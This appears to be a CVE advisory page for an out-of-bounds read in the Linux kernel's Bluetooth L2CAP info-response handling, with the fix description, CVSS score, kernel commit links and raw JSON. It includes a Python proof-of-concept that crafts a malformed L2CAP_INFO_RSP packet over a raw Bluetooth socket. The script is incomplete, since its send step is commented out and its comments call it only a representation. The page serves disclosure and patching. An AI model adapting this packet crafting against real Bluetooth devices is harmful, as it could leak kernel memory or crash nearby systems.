Security Vulnerability Report
中文
CVE-2026-31393 CVSS 8.1 HIGH

CVE-2026-31393

Published: 2026-04-03 16:16:37
Last Modified: 2026-04-27 14:16:35
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: Validate L2CAP_INFO_RSP payload length before access l2cap_information_rsp() checks that cmd_len covers the fixed l2cap_info_rsp header (type + result, 4 bytes) but then reads rsp->data without verifying that the payload is present: - L2CAP_IT_FEAT_MASK calls get_unaligned_le32(rsp->data), which reads 4 bytes past the header (needs cmd_len >= 8). - L2CAP_IT_FIXED_CHAN reads rsp->data[0], 1 byte past the header (needs cmd_len >= 5). A truncated L2CAP_INFO_RSP with result == L2CAP_IR_SUCCESS triggers an out-of-bounds read of adjacent skb data. Guard each data access with the required payload length check. If the payload is too short, skip the read and let the state machine complete with safe defaults (feat_mask and remote_fixed_chan remain zero from kzalloc), so the info timer cleanup and l2cap_conn_start() still run and the connection is not stalled.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (Prior to commits: 187e6fe939295be36063a1d91f8bebee04399a8c, 3b646516cba2ebc4b51a72954903326e7c1e443f, etc.)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-31393: Bluetooth L2CAP Out-of-Bounds Read # This script demonstrates how to craft a malformed L2CAP_INFO_RSP packet. # Note: Requires a Bluetooth adapter and raw socket capabilities. import struct import socket # Bluetooth constants BDADDR_ANY = "\x00\x00\x00\x00\x00\x00" # Create a raw Bluetooth L2CAP socket # Note: This usually requires root privileges (CAP_NET_RAW) try: sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) sock.bind((BDADDR_ANY, 0)) except Exception as e: print(f"Failed to create socket: {e}") exit(1) # L2CAP Signaling Command Code for Information Response L2CAP_INFO_RSP = 0x03 # Malicious payload construction # The vulnerability is triggered when cmd_len is exactly 4 (header only), # but the handler expects data based on the type. # We construct a packet with: # Code (1 byte) | Identifier (1 byte) | Length (2 bytes) | Type (2 bytes) | Result (2 bytes) # Total length should be 4 bytes for the header, but the 'Length' field in L2CAP # indicates the length of the payload *following* the length field itself usually, # or total length depending on context. In L2CAP signaling: # Length = 4 (Type + Result) # Type = L2CAP_IT_FEAT_MASK (0x0002) # Result = L2CAP_IR_SUCCESS (0x0000) # If we send a packet where the payload is truncated, we trigger the OOB read. # Construct the signaling packet code = L2CAP_INFO_RSP id = 0x01 # Transaction ID length = 4 # Length of Type + Result fields (4 bytes) type_ = 0x0002 # L2CAP_IT_FEAT_MASK result = 0x0000 # Success # Pack the header and the partial payload # The vulnerability occurs if the skb->len is just enough for the header, # but the code tries to read data. packet = struct.pack("<BBHH", code, id, length) + struct.pack("<HH", type_, result) # To simulate the "truncated" condition described (cmd_len covers header only), # one might need to manipulate the socket buffer size or packet fragmentation, # which is complex in user-space. This is a representation of the packet structure. print(f"Sending malformed L2CAP Info Response packet...") print(f"Target: Local Loopback (for testing) or Remote BD_ADDR") # In a real scenario, send this to a target device. # sock.sendto(packet, (target_bdaddr, 1)) print("Packet content (hex):") print(packet.hex())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31393", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:37.420", "lastModified": "2026-04-27T14:16:35.473", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: Validate L2CAP_INFO_RSP payload length before access\n\nl2cap_information_rsp() checks that cmd_len covers the fixed\nl2cap_info_rsp header (type + result, 4 bytes) but then reads\nrsp->data without verifying that the payload is present:\n\n - L2CAP_IT_FEAT_MASK calls get_unaligned_le32(rsp->data), which reads\n 4 bytes past the header (needs cmd_len >= 8).\n\n - L2CAP_IT_FIXED_CHAN reads rsp->data[0], 1 byte past the header\n (needs cmd_len >= 5).\n\nA truncated L2CAP_INFO_RSP with result == L2CAP_IR_SUCCESS triggers an\nout-of-bounds read of adjacent skb data.\n\nGuard each data access with the required payload length check. If the\npayload is too short, skip the read and let the state machine complete\nwith safe defaults (feat_mask and remote_fixed_chan remain zero from\nkzalloc), so the info timer cleanup and l2cap_conn_start() still run\nand the connection is not stalled."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "references": [{"url": "https://git.kernel.org/stable/c/187e6fe939295be36063a1d91f8bebee04399a8c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/3b646516cba2ebc4b51a72954903326e7c1e443f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/5229e7d15771eac2b5886bfb1f976aea0c1eec14", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/807bd1258453c4c83f6ae9dbc1e7b44860ff40d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9aeacde4da0f02d42fd968fd32f245828b230171", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/db2872d054e467810078e2b9f440a5b326a601b2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/dd815e6e3918dc75a49aaabac36e4f024d675101", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/e7ff754e339e3d5ce29aa9f95352d0186df8fbd9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}